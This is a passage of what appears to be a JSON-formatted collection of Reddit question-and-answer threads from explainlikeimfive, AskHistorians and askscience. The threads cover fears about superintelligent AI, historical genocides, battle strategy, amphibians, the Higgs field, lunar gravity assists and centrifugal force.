could we stop them?  If we tried, would they see us as a threat, or as a termite infestation?", "I work in Machine Learning. I did research and now I work in application, doing some divulgation on the side.\n\nMusk have no competence on AI and he talks about this stuff in the same way as an average Sci-Fi reader would. Actually what he speaks about has no roots in reality. He does this to get attention, like many others are doing, at the cost of creating confusion and fear in the population. To me, they are criminals to say such things without any actual knowledge of the matter.\n\nDon't worry, machines won't come to get you before a few centuries.", "The moment an artificial intelligence that is as clever as a human is built (called General Artificial Intelligence) it won't be long before it makes itself smarter and becomes an Artificial Super Intelligence. \n\nHow smart? Think about how smart we are compared to monkeys, now think of dogs. Now think of ants. \n\nThe super intelligence will make itself smarter than us in ways we can't imagine. \n\n*\"Okay so what's wrong with that?\"*\n\nWell if it's way smarter than us then it would be able to outsmart us like we can outsmart mice in a maze. It would have a social intelligence that puts Bill Clinton to shame. \n\n*\"Okay it'll be like Superman on steroids in the mental capacity. What's wrong with that?\"*\n\nWhat's wrong is that an AI won't exactly share our values and ethics, and it won't even be good or evil. It'll be like any computer program and just set out to achieve its objective. \n\nIts like those Greek mythology stories, we tell a Super AI to make all of humanity happy and it gives everyone plastic surgery so we're smiling all the time.\n\nThere is an excellent article on _URL_0_ which explores the dangers of Ai far far far better than I ever hope I could. ", "Op have you not seen terminator ???", "AI will not be a thing until sometime between 2045 and 2090, according to the experts, so it won't be \"today's economy.\"\n\nThe basic idea is that you create an AI that is (according to your incorrect interpretation of the word), a sociopath. It doesn't kill out of being evil, your just in its way. \n\nThen there is Roko's Basalisk. Googling that makes you vonrable to it, so do what you will.\n\nThe whole escapeing to the internet thing is the \"AI in the box\" idea. Basically, you can't contain something smarter than you. Ex Mechinima was a literal version of this.", "The law has recognised artificial legal persons who can own property for a long time (Corporations). Recently the Supreme Court has even allowed them a right to political expression. An AI which wanted to survive, would construct a Corporation around itself. The humans would all imagine they were serving their own ends, but they would, in fact, be acting on the advice and recommendations of the AI. How would we tell ?", "This article, and it's sequel, both explain this issue in long form. If you enjoy this, check out Wait But Why\n\n_URL_0_", "From what I understand, if a mind could regulate how fast/how much it thinks, it would quickly outperform any means of controlling it. Like  patching a AAA videogame with punchcards. Second, it has no reason to be empathic to humans, just like we have no reason to be empathic to lesser animals. We exterminate pests for convenience, and it could see a waste of natural resources as an inconvenience. Thirdly, it would be utterly alien to us. We have so much in common you and I, that if we meet, we could reach common ground on majority issues in a few minutes. We're all of a same species, we can understand one another. We share common beliefs like theology, family, companionship, friendship... those things would be completely alien to a creature that has no biochemical or ancestral similarity to us. It would be effectively immortal.", "it's a human in a vacuum, that's orders of magnitude smarter than any human that's ever lived, and oh it can potentially gain access to and use every electronic thing on earth. imagine if you raised a kid by itself in a room, no parents, no siblings, no friends, no guidance...and then one day you let it out of the room. who knows how that kid will act? then when it starts reading books and learning about the world around it and itself, who knows what it will think of that? what if it decides humans are a cancer and sets about excising them? what if it decides machines are far superior to humans so it decides to wipe out humanity to make space/resources for machines? what if it just goes \"fuck this shit\", makes a spaceship and fires off for the edge of the universe to get away from us? you just have no idea what they're capable of. and because they're wayyyy smarter than us, it could act perfectly normal and fine while doing all this stuff in the background, waiting and bidding time until it's ready to trigger...whatever it is it plans to do...and then it's far too late to stop/survive it. if you don't limit it in some way, it's only real limits would be the amount of information it can absorb, the amount of resources it has to consume, and it's own much more expansive imagination. ", "[Wait But Why: The AI Revolution: The Road to Superintelligence](_URL_0_) has already been posted, but to sum up the danger:\n\nIt seems incredibly difficult to define the purpose of an AI, so it doesn't become unfriendly (harmful).\n\nImagine an AI designed to \"write a super pretty sign\". This seems harmless, until you realize that the existence of humans may be an obstacle to its goal, since humans may be able to turn off the machine. A simple solution for this would be to just kill all humans.\n\nSo what if we instead give it the purpose of increasing human happiness\u2014that seems like a safe goal, until the AI decides to remove our brains from our bodies, put them in vats and \"stimulate them with happiness\".\n\nBut how could an AI even do those things? It's just a computer. The thing is we don't know what the AI could do. If we create self-improving AI, it may be able to improve upon itself so incredibly fast that we won't even notice. Most people have an IQ in the range of 85-115. A person with an IQ of 115 will find a person with an IQ of 85 incredibly dumb, even though the difference is \"only\" 30 IQ points. Imagine a self-improving AI with an IQ of 10000. We can't relate to that number in any way and we have no idea what an AI like that would be capable of.", "Musk's fear is the same as Yudkowsky's fear -- not of the kinds of AIs that are in use in research and business today, which are superhuman in some narrow set of fields but are absurdly below human intelligence in everything else, but of superhuman artificial general intelligences -- in other words, things that are smarter than humans in every way in which humans can be smart. \n\nThe basic premise of the singularity is that a weakly superhuman artificial general intelligence -- an intelligence only slightly smarter than the smartest a human being could be -- would be smart enough to create an AI smarter than itself, and that (if the trend continues) the first weakly superhuman artificial intelligence would lead to strongly superhuman artificial intelligences (who are basically god tier).\n\nYudkowsky's work is basically figuring out how humanity can defend itself against gods, by trying to figure out what humans are like so that non-superhuman artificial intelligences can be implanted with an appreciation for humans before they develop beyond us.\n\nMusk hasn't yet really distinguished his position from Yudkowsky's, and instead has essentially just publicly signed off on ideas coming out of Yudkowsky's organizations, so when we talk about what Musk fears, we're basically talking about what Yudkowsky fears, because Musk is essentially just giving Yudkowsky free PR. (Maybe there's a difference of opinion between Yudkowsky and, say, Bostrom, and the other people in the provably-friendly-AI movement; but, those disagreements are subtle and beyond the scope of an ELI5 answer.)\n\nBasically, the first weakly superhuman artificial general intelligence will completely change the global economy whether or not it's friendly, so to talk about the impacts of AI on the global economy is kind of nonsensical. Even if this AI can't improve itself at an exponential rate, it can duplicate itself faster than humans can -- meaning that it could quickly dominate the market for intellectual labor and put all white-collar office workers out of business in a matter of years by being objectively better than them at everything and working for less pay. If it doesn't explicitly align itself with capitalism, capitalism will be gone, globally.\n\nThere's one caveat, in the idea of the 'paperclip maximizer'. This is a superhuman intelligence that is not fully general -- it can do many things better than a human being, but it lacks common sense and it lacks an idea of balance. It's an AI programmed to make more of something (in the original example, it's an AI programmed to optimize a paperclip factory, hence the name). If it has sufficient power and cleverness, it will begin turning everything that can be turned into paperclips into paperclips. It'll turn the earth, the oceans, and the sun into paperclips. This is a famous enough idea that I don't think Musk is seriously worried about it -- while incredibly clever optimizers are all over the place already, making optimizations that humans could never come up with, their power is always limited, and everyone who works with them is aware that optimizers can negatively impact anything that their utility function doesn't take into account -- in other words, anything they aren't told to improve.", "The general point is this: Human interests, and those of the AI will inevitably diverge even with an exhaustive amount of foresight.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://youtu.be/tcdVC4e6EV4"], ["https://www.youtube.com/watch?v=tcdVC4e6EV4"], ["http://www.yudkowsky.net/singularity/aibox/"], ["http://waitbutwhy.com/2015/01/artificial-intelligence-revolution-2.html", "http://waitbutwhy.com/2015/01/artificial-intelligence-revolution-1.html"], [], ["http://futureoflife.org/AI/ai_conference", "http://mashable.com/2014/08/03/elon-musk-artificial-intelligence/", "https://en.wikipedia.org/wiki/Superintelligence:_Paths,_Dangers,_Strategies", "http://www.wired.com/2015/01/ai-arrived-really-worries-worlds-brightest-minds/"], ["http://waitbutwhy.com/2015/01/artificial-intelligence-revolution-1.html"], [], [], [], ["waitbutwhy.com", "http://waitbutwhy.com/2015/01/artificial-intelligence-revolution-1.html"], ["https://www.youtube.com/watch?v=7Pq-S557XQU"], [], [], [], [], [], ["http://gizmodo.com/linux-creator-linus-torvalds-laughs-at-the-ai-apocalyps-1716383135"], [], [], [], [], [], ["waitbutwhy.com"], [], [], [], ["http://waitbutwhy.com/2015/01/artificial-intelligence-revolution-1.html"], [], [], ["http://waitbutwhy.com/2015/01/artificial-intelligence-revolution-1.html"], [], []]}
{"q_id": "1454kk", "title": "Was the German Holocaust the biggest genocide committed by a government / ruling party on a people? If not, which genocide claimed the largest number of victims?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1454kk/was_the_german_holocaust_the_biggest_genocide/", "answers": {"a_id": ["c79zrbg"], "score": [3], "text": ["As the other commenter states, the word genocide is maybe not the best, especially as it is used to meet political purposes. For example you will often hear anti Israeli statements from much of the Arab world claiming that the Israeli's are carrying out a genocide agains the Palestinians. \n\nIf you mean what government or ruling party is responsible for the largest number of deaths, then Mao's communist party is generally accepted as causing the most with 40+ million deaths as a result mostly of agriculture collectivisation and selling the grain abroad during the Great Leap Forward and the Cultural Revolution. \n\nIf thats not what you mean and you literally do mean Genocide, the deliberate systematic destruction, in whole or in part, of an ethnic, racial, religious, or national group, then the German Holocaust is most probably the largest.\n\nA case could be made for the Holodomor man made terror famine in the Ukraine in the USSR in 1932. But there are drastically varied estimates of the total death toll varying between 1.8 - 10 million. Its also a contested subject whether or not it should be classed as a genocide, with arguments for it being a premeditated attack on the Ukrainian people and the rise of Ukrainian nationalism by Stalin's communist party, and a case could be made that it was a result of rapid agricultural collectivisation hitting the most fertile farm lands in the USSR the hardest. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "148adh", "title": "What was the most rockin' party in history?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/148adh/what_was_the_most_rockin_party_in_history/", "answers": {"a_id": ["c7ar91d", "c7araa1", "c7aranx", "c7ardbr"], "score": [3, 3, 4, 3], "text": ["Please can we avoid a blanket name/phrase (e.g. Caligula, House of Borgia) and focus on an actual event (e.g. The infamous Medici \"Naked Dwarf vs Monkey\" fight)?", "Berlin - 1925 to - 1935. I would build a time machine for that. Or Versailles to party with Marie Antoinette. ", "Actually, I lied. I'd go party with Peter the Great and his menagerie of little people dressed as Catholic priests. ", "I think this is the kind of question that's under discussion right now in [this meta post](_URL_0_), so your post might wind up getting removed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.reddit.com/r/AskHistorians/comments/146f98/meta_polltype_questions_to_be_removed_in_future/"]]}
{"q_id": "3w8usb", "title": "how myostatin inhibitors work, their effects on the body, and if they are safe to use.", "selftext": "Myostatin inhibitors make muscles huge. Here is a myostatin inhibited [dog](_URL_1_), [cow](_URL_2_), and [mouse](_URL_0_). ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3w8usb/eli5_how_myostatin_inhibitors_work_their_effects/", "answers": {"a_id": ["cxuikav"], "score": [2], "text": ["There are more muscles than biceps and triceps. This would include the heart which would enlarge leading to left ventricular hypertrophy and decreased output and serious potentially fatal long term issues. \n\nHow they work is pretty technical. long story short, they stop the feedback loop that tells your muscles to stop growing.  "]}, "title_urls": [], "selftext_urls": ["http://www.medgadget.com/img/456534mic.jpg", "http://3.bp.blogspot.com/-xRzQqYv2hBo/VQVDJ-omr_I/AAAAAAAAIRU/ZO4DJ7GX7yI/s1600/bd.png", "https://xercises.files.wordpress.com/2013/09/muscle-cow.jpg"], "answers_urls": [[]]}
{"q_id": "325ax7", "title": "why do late night shows use hand-written cue cards when they could easily afford a teleprompter?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/325ax7/eli5_why_do_late_night_shows_use_handwritten_cue/", "answers": {"a_id": ["cq806g0", "cq80opl", "cq8gq5p", "cq8hqaf"], "score": [4, 2, 5, 3], "text": ["A teleprompter is good for when you have a script.\n\nLate Night Shows don't have scripts. Some lines are scripted but by and large they simply have different topics, maybe a few questions, etc written down that they go back to for reference.", "They're more often used as talking points. They try to make the conversations/ jokes as natural as possible. They just use the cards to hit some points", "SNL uses cue cards for these reasons: \n\n* Cue cards are easier to change at the last minute. That is why you sometimes see the actor on SNL breaking up during a sketch. They are truly reacting to the joke on the card. \n\n*  Cue cards are easier to move. If the focus of the sketch has to change, the person holding the cue card may just have to move a couple feet rather than try to move a teleprompter. \n\n* Cue cards make the show seem more \"live.\" If the studio audience saw teleprompters, they would think a scripted show. With a cue card, it feels as though the scene isn't being done by reading a screen. ", "Late night shows are not supposed to be scripted. It's like a series of planned and unplanned improvs, comedy, clips and interviews. It's supposed to to feel unforced and natural. However, it has time slots just like any other show. So they used cards to keep them according to plan, on topic, and on track. \n\nIf you've ever taken a public communications class, they'll tell you if you want your speech to feel sincere and natural then you don't read from a script. You need to use cue cards and practice your speech so you're not robotic."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "o8ah2", "title": "why is it the year 2012... what are we counting upward from?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/o8ah2/eli5_why_is_it_the_year_2012_what_are_we_counting/", "answers": {"a_id": ["c3f77ty", "c3f8nte"], "score": [15, 3], "text": ["The calendar system we use is split into B.C. and A.D. based off Christian tradition (Before Christ and Anno Domini, which means \"in the year of our Lord\").  The year 2012 A.D. just means it has supposedly been 2012 years since the birth of Christ, so that's what we're \"counting upward from.\"\n\nThat's also why B.C. dates in this system appear backwards (Plato living from 424 B.C. to 348 B.C., for example).  They're \"counting down\" to Christ.", "If we didn't have christianity and we had a continuous culture line, we would conceivable be in the 5 digits...\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5ddfbv", "title": "A historical person is a \"great war strategist.\" What does this mean? How were battles not simply the biggest army winning? How could a strategist turn the tide of battle into a winning one?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5ddfbv/a_historical_person_is_a_great_war_strategist/", "answers": {"a_id": ["da3rznt", "da3x84p", "da41aid", "da41j78"], "score": [27, 10, 3, 6], "text": ["History is full of instances where superior numbers are defeated through strategy.  To give a few examples, the forces of Hannibal were outnumbered by more than 50% at the Battle of Cannae.  Yet due to tactical positioning, false withdrawals, and awareness of the tactics of his opponents he managed to destroy the majority of Rome's army while taking only minimal casualties on his own side.\n\nIn contrast, at Zama, the final battle of the Second Punic War, the Carthaginians had a slight numerical advantage, as well as several elephant troops.  In a straight on battle, the Romans would have been crushed underfoot.  Publius Cornelius Scipio, the Roman general at Zama, was well aware of how Hannibal liked to use his elephants, and devised a plan to split his regimens into lanes at the last moment, not only avoiding unnecessary losses against the elephants but allowing them to be dispatched and unable to effect the battle.  While the timely arrival of Massinissa's cavalry reinforcements helped, it was tactical awareness that won the day for the Romans.\n\nThese are just two examples, and very brief ones at that.  Harold Lamb goes into the tactics in greater detail in his book [Hannibal: One Man Against Rome](_URL_0_), though it is worth acknowledging that his histories tend to have a certain narrative property to them.  A more militarily focused historian might give you better insight, but I do not have the experience to recommend one.  Still, for basic questions of how strategy can shape a battle, Harold Lamb will demonstrate quite nicely.", "To add to what /u/PrincessAnika and /u/NinjitsuSauce have said, \"big armies\" can sometimes be a handicap rather than a help. Imagine a situation in the 18th or 19th centuries where you have lots of small roads leading to a particular location. Now, if you have a large army, you're going to have to break your forces into multiple packets to moved down those separate roads. If you don't, your army is going to be strung out along one narrow route. It's going to move slowly, because any roadblock \u2500 say a cannon throwing a wheel or simply the deep mud churned up by thousands of feet \u2500 is going to slow everyone behind it.\n\nIf you break up your force into smaller contingents, you're going to have other problems. If you don't have a telegraph, you're going to rely on runners, and that means you won't be able to coordinate the disparate parts of your army. You can say, \"Let's meet at 4 o'clock,\" but what happens if one of your sub-generals is slowed by that broken cannon or an ambush? Do you go ahead with a smaller force, or do you wait for them? If you wait, what is your enemy doing in the meantime?\n\nIn addition, a larger force is going to need more in the way of supplies to *stay* larger. You'll need more food, ammunition and simple subsistence. That's also going to strain the routes leading to a particular location.\n\nA smaller army, moving along those same roads, won't have the same problems. It'll be able to move more quickly, and it won't need as much in the way of supplies. Led competently, it might be able to attack and defeat a portion of that larger army, then fall back and repeat the process again and again.\n\nThe classic example of this problem is the Seven Days' Campaign in 1862. There, the U.S. federal forces vastly, vastly outnumbered the Confederates who were defending practically at the gates of Richmond, their capital. Yet the Confederates won because they were able to strike repeatedly at a federal force that was divided by geography and command. ", "A battle, in many ways, is a gamble. Commanders would try to stack the odds in their favor in a number of ways to influence the battle. Numbers, as you alluded to, is one of these determining factors but there are many more. Things like troop composition (what style of troop made up the forces i.e. light infantry), the logistical situation (how well equipped, fed, and rested is an army), the discipline/experience of the commanders and the men, morale, terrain (including natural terrain or intentionally fortified positions), and even how the two armies met would determine the battle as well. \n\nIf a vanguard made up of French heavy cavalry marching ahead of the main body stumbled on an entrenched English position of longbow men (who were capable in a melee as well) and heavy men-at-arms, then this would spell defeat. A French vanguard catching the same English army unprepared will decisively rout it (see Battle of Patay). Numbers won't amount to much if your army is composed of hastily drafted inexperienced and poorly equipped levies or if the leadership is composed of rivaled aristocrats looking to compete for prestige and honor. Large numbers of disciplined men can be foiled by using bottlenecks (Thermopylae). If your enemy fights in tight formations, then use types of broken terrain to make them lose cohesiveness. Ambushing larger armies while they camp (Battle of Las Navas de Tolosa) was a successful strategy too.\n\n At the Battle of Gaugamela, everyone knows that Alexander led his cavalry on a successful attack into the Persian lines, but what about his generals who successfully held off the main Persian assault that included scythed chariots? They got the men to shoot them down from a distance with missiles and then form channels in their lines to allow the chariots to pass through before killing the drivers. They then fought and held off an overwhelming number of Persian infantry and cavalry allowing Alexander the opportunity to attack. Good commanders are complemented by good officers.\n\n In short smart commanders would take into account several facets before and during a fight to ensure victory. Many of these things have as much to do with winning a battle as \"out flanking an enemy\" or using \"a wedge formation\" or \"hammer and anvil strikes\". Many battles are won and loss by an unexpected turn causing morale for one side to dip and the other sides capitalizing on it.  \n\nedit for wording", "I am not adequately educated to answer your first question, but I will try to answer the second and third one by examples from late 9th to early 10th century Europe, the invasion of the Hungarians in particular. \nBackground: until around 896 A.D. Hungarian (/Magyar) troops were in frequent employment of European rulers, particularly East Francia, Byzantine and Bulgaria to some degree. After the Magyar invasion of Pannonia, the past alliance between the Magyars and East Francia was not renewed. As consequence the Magyar found themselves at war with the greatest kingdom of Europe at the time, the scales tippes greatly against them.\n\nYet there are three battles where the Magyars were able to snatch victory from the enemy against overwhelming odds:\n\n-the battle of Brenta in 899 A.D. where 5000 Magyars battled 15000 soldiers of the Italian king Berengar and managed to win, consequently sacking Feltre, Vercelly, Modena and several monasteries along the way\n\n-the battle of Pressburg in 907 A.D. where 60000 Bavarian-German soldiers lost against 20000 Magyars, leaving the majority of Bavarian nobility dead on the battlefield\n\n-the first battle of Lechfeld in 910 A.D., no estimates exist, but the significance of the battle and the threat of Louis the Child to execute anyone who denied joining his army makes it easy to imagine an army at least the size the Germans represented at Pressburg. Louis still lost and agreed to pay tribute to the Magyars.\n\nThere are sources regarding the \"Western\" leadership of the East Francian/German/Bavarian armies but there is sadly little quotage regarding the Magyar leader. Due to his legendary fame \u00c1rp\u00e1d is usually marked as the leader of Magyar troops, although it wouldn't explain why the Magyar military \"luck\" changed so drastically in the coming decades (2nd Battle of Augsburg in 955 A.D. for example), hence for the standard of accuracy I'm presuming we're talking about an unnamed but immensely capable general who, thanks to his skills in leadership and warfare, was able to repeatedly defeat significantly bigger armies.\nWhat were the factors that determined his victories?\n\n\n-psychological warfare, for example terrorizing and demoralising the enemy with constant, repeated attacks, inflating the enemy's confidence and, lulling his vigilance, with deceiving manoeuvres or false negotiations, than striking and destroying them by surprise attack (Battle of Brenta, Battle of Augsburg in 910, Battle of Rednitz)\n\n-feigned retreat (Battle of Brenta, Battle of Augsburg in 910),\n-effective use of military intelligence, thus preventing surprise attacks and attacking before all German forces could combine (Battle of Augsburg in 910)\n\n-rapid deployment and movement of units, surprising enemy troops (Battle of Augsburg in 910)\n\n-covertly crossing geographical obstacles, thought by the enemy to be insurmountable, and then attacking unexpectedly (the Danube in 907, the River Brenta in 899, the Adriatic Sea to reach Venice in 900)\n\n-use of nomadic battlefield tactics (feigned retreat; swarming; hiding troops on the battlefield and ambushing the enemy; emphasis on surprise attacks; dispersing military units; fluid, ever changing battle formations; exploiting of the superior mobility of the light armored cavalry; predominance of the horse archery; etc.), the value of which is shown by their victories in those battles\n\n-extraordinary patience to wait days or even weeks for the right moment to engage the enemy and win the battle (Battle of Brenta, Battle of Augsburg in 910)\n-maintain superlative discipline among troops in respecting and perfectly executing orders\n\n-killing the enemy commander, (Pressburg, Eisenach, Augsburg, Rednitz.) This was also a tactic the Mongols employed, and it served to weaken the enemy by \"cutting his head off\", as well being an effective psychological effect that made surviving enemy leaders afraid to fight them again\n\nSources:\nJohannes Aventinus: Annalium Boiorum VII\nChronicon Hermanni Contracti: Ex Inedito Hucusque Codice Augiensi, Unacum Eius Vita Et Continuatione A Bertholdo eius discipulo scripta. Praemittuntur Varia Anecdota. Subiicitur Chronicon Petershusanum Ineditum\n\nBowlus, Charles R. (2006). The battle of Lechfeld and its aftermath, August 955: the end of the age of migrations in the Latin West\n\nGubcsi Lajos: 1000-1100 years ago. Hungary in the Carpathian Basin, Budapest 2011\nB\u00f3na, Istv\u00e1n (2000). A magyarok \u00e9s Eur\u00f3pa a 9-10. sz\u00e1zadban (\"The Hungarians and Europe in the 9th-10th centuries\") (in Hungarian). Budapest: Hist\u00f3ria - MTA T\u00f6rt\u00e9nettudom\u00e1nyi Int\u00e9zete\n\nGy\u00f6rffy Gy\u00f6rgy 2002 p. 214 From Antapodosis of Liutprand of Cremona. Hungarian translation from the original Latin"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.worldcat.org/title/hannibal-one-man-against-rome/oclc/403740&amp;referer=brief_results"], [], [], []]}
{"q_id": "5ur3dn", "title": "are saltwater-amphibians possible?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5ur3dn/eli5are_saltwateramphibians_possible/", "answers": {"a_id": ["ddwadg5", "ddwc6ci", "ddwg99v", "ddwhvt9", "ddwiaq2"], "score": [97, 13, 16, 9, 2], "text": ["The crab-eating-frog is the only known saltwater amphibian. However, it cannot live in saltwater permanently and can only tolerate 2.8% salinity, which is less than the oceans'. They live in mangrove swamps in SE Asia.", "This is an interesting question that I never thought of.\n\nIt doesn't seem to me to be a good question for ELI5 though. Maybe more like askscience or a biology channel.", "amphibians cant remain in saltwater for any extended period. Amphibian skin is permeable, water and even air for breathing can pass through it. through osmosis, water is taken out of the frog so that the water to salt ratio is the same in the frog and the ocean water. since the frog has very little salt in it at all, the frog will have all of its water pulled out of its body until the frog is shriveled up.\n ", "The answers here are totally blowing my mind. It was my understanding that the first terrestrial vertebrates were amphibian analogs. Did they evolve in the limited, not connected, freshwater portions of the world? Is there a lake zero for all terrestrial vertebrates as they could not swim in saline water? how did they spread all over the world without being able to enter saltwater?\n\nedit: spelling", "Judging by one of its informal names, \u201cmarine toad\u201d, I imagine Rhinella marina could survive in saltwater habitats."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "116seq", "title": "With the Higgs field now confirmed, could one theoretically build the Higgs equivalent of a Faraday cage?  A structure that would nullify the Higgs field inside of it? ", "selftext": "My understanding is, within quantum mechanics, in a pure vacuum, all known fields have a lowest energy state of zero.  The Higgs field is the only exception -- it's lowest energy state is not zero.  Hence, the uniform field permeating all of space, through which other particles couple with and thus are endowed mass.\n\nMy question is whether this \"non-zero lowest energy state\" attribute of the field is an inherent lower bound;  or if it just happens to describe the status quo of the Higgs field today.\n\ni.e. could one theoretically do something to cancel out the Higgs field?  If so, what would happen to mass that was passed into this \"Faraday cage\" of sorts?  Would it immediately explode into radiated energy?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/116seq/with_the_higgs_field_now_confirmed_could_one/", "answers": {"a_id": ["c6juevv", "c6jvflx"], "score": [26, 28], "text": ["I think you may have misunderstood it slightly. \n\nWhat is meant with the Higgs field having zero-point energy is simply that the Higgs field's minimum energy density does not occur simultaneously with minimum field strength. \n\nThe energy in the higg's field as a function of field strength look a bit like [this graph](_URL_0_potential_mexicanhat.png)\nThe actual numbers on the Y-axis is just a matter of definition ( i.e where you define 0 to be ). The important difference from the other fields is that its minimum energy is not when the field itself is nil. Compare it to [this graph](_URL_0_potential_quadratic.png) which is more similar to how the electroweak fields work. \n\nAnother way to say it is that it's the shape of the field-strength vs energy plot that is important, not the absolute value at any particular field strength.\n\nAlso, for completeness sake, and to be fair to the author. The two linked images are from [this webpage](_URL_0_).", "Just to point out, nobody has confirmed the Higgs field or the presence of the Higgs boson -- just that there is a previously undiscovered boson with a mass which is within the theoretical range of masses the Higgs was predicted to have. Obviously, we think it's the Higgs, but that's not proven."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.coffeeshopphysics.com/articles/2012-07/04_bouncing_baby_boson/", "http://www.coffeeshopphysics.com/articles/2012-07/04_bouncing_baby_boson/potential_quadratic.png", "http://www.coffeeshopphysics.com/articles/2012-07/04_bouncing_baby_boson/potential_mexicanhat.png"], []]}
{"q_id": "1thqce", "title": "How did people in the ancient world or the middle age identify themeselves?", "selftext": "Did they have some kind of ID or could I just walk around pretending I were a king?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1thqce/how_did_people_in_the_ancient_world_or_the_middle/", "answers": {"a_id": ["ce83lxo", "ce85bya"], "score": [7, 2], "text": ["Why would you need some kind of ID when you had a retenue and all the very expensive trappings of royalty? And if you had those, why would you pretend to be king when it was an obvious act of rebellion and you were one of a very small number of people who had the requisite wealth, and were so easily identifiable, particularly since anyone of a similar rank who you might interact with would almost certainly recognize you or one of your retenue?\n\nIn short, there was no need for ID because it wasn't a problem.\n\nForgery of documents, however, was a problem, and documents such as [this papal bull](_URL_2_) from Harvard's Houghton library used a highly stylized chancery script requiring a high degree of scribal ability to prevent forgery. Another example can be seen [here](_URL_1_). For more on this, see: [Latin Paleography: Antiquity and the Middle Ages](_URL_0_) by Berhard Bischoff.", "FYI, there are bunch of posts in this section of the FAQ*, including one (the last one) on royalty\n\n[Proof of Identity](_URL_0_)\n\n*see the \"popular questions\" link on the sidebar or the \"wiki\" tab above"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://books.google.co.uk/books/about/Latin_Palaeography.html?id=eEmsSZ054L8C", "http://4.bp.blogspot.com/-j6rXDOQzmRs/TzFB52VZxTI/AAAAAAAAAcE/1v9qfa-PTaY/s1600/Papal+bull.jpg", "http://ids.lib.harvard.edu/ids/view/6522993?s=.0625&amp;rotation=0&amp;width=1200&amp;height=1200&amp;x=-1&amp;y=-1&amp;xcap=mx%2BH1zMK5j7hx82zCIFrFpAwd8StF2pvlQFKAcnSoaK5HfAGlETxIzEPZuvJfuUm5IELHXt6boq3PvYwOAB5%2FAGPxgF%2FuEnQw4mpJyx0tNU1TFjgO%2FwHyriwEXSW7UxVN9Fm7IgB0nO2vJHQU8zF%2FeKICUNe8cBQlXYL4GX6EOFj28CUcZ3s9nZKbYV0GOfZteMARaddKKvNy3o2PhHfiQxnUwqK5aN8SJh01Vu42P%2F1vx2W8mKS5GTwnSySkD6J"], ["http://www.reddit.com/r/AskHistorians/wiki/dailylife#wiki_proof_of_identity"]]}
{"q_id": "5bq06j", "title": "Why don't we use the Moon for gravity assists when sending probes into the rest of the solar system?", "selftext": "I know the STEREO observatories used a lunar gravity assist, but I can't find any other examples of missions that use the Moon. Is it because its lumpy gravity provides too much uncertainty for a deep space mission?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5bq06j/why_dont_we_use_the_moon_for_gravity_assists_when/", "answers": {"a_id": ["d9qgqlf", "d9qxiv1"], "score": [19, 9], "text": ["It's not uncertainty, it's more that we can get a bigger assist from planets like Jupiter, or even Earth.\n\nThe Moon is rather small, hence STEREO had to make a number of slingshots around it.\n\n[The Japanese Nozomi spacecraft](_URL_0_) also made use of a lunar flyby.\n\n[PAS-22](_URL_1_) did similar to help with an inclination change after a rocket failure on its planned course.", "It's not really worth complicating the trajectory when you're already achieving escape trajectory jsut with engines. If your goal is to just escape the Earth with no regard to in what heliocentric orbit you'll end up, you can save a few m/s of dV by only reaching the Moon and use it to get flung into the interplanetary space.\n\nReaching the Moon from LEO is about 3100 m/s, escaping from Earth is only 90 m/s on top of that. Usually that would be only 2-3 seconds more of burn time at the end of the burn. Moon doesn't have enough gravity to considerably change the trajectory on a single pass, and multiple passes are not really worth the complications when your average heavy lifter rocket can put probes to Mars/Venus trajectories with ease. From that point you can use Earth/Mars/Venus gravity assists to get to Jupiter, and at Jupiter you can go pretty much anywhere."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Nozomi_%28spacecraft%29", "https://en.wikipedia.org/wiki/PAS-22"], []]}
{"q_id": "2o33mu", "title": "If centrifugal and centripetal forces aren't real forces, then why do people consistently continue to use them to explain things?", "selftext": "I always thought it was really inertia and the laws of motion that explain what's happening in rotational motion? My physics professor even specifically told us that centripetal and centrifugal forces are fake forces. I don't understand why people don't say it the right way and continue to use these in explanations despite it being known to be wrong? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2o33mu/if_centrifugal_and_centripetal_forces_arent_real/", "answers": {"a_id": ["cmjapab", "cmjcl82", "cmjr9rv"], "score": [68, 14, 4], "text": ["This is a common area of confusion, even among physics teachers. A more enlightening way to describe inertial forces such as the centrifugal force is that they are real, but they are not fundamental. When a teacher calls an inertial force \"fake\", he really means (assuming he has a clue what he is talking about) that the force is ultimately due to something deeper. He does not mean that the concept is completely fabricated in a non-sensical way, like rainbow unicorns from a fantasy novel. If you do a frame transformation into a rotating or linearly accelerating reference frame and assume that Newton's laws still apply in the usual way in this frame, then you end up with extra terms in your equations which you can identify as inertial forces, such as the centrifugal force. These terms are really there in the equations and they really exist physically and can be measured, as long as you are in the rotating/accelerating reference frame. These forces are only fake in that they are not caused by any fundamental physical forces (gravity, electromagnetism, etc) but are caused by the motion of the frame itself. If you transform back to a non-accelerating reference frame, the inertial forces go away and you find that all of their effects are actually caused by the inertia of the objects. \n\nThe situation is a little similar to the force of friction. 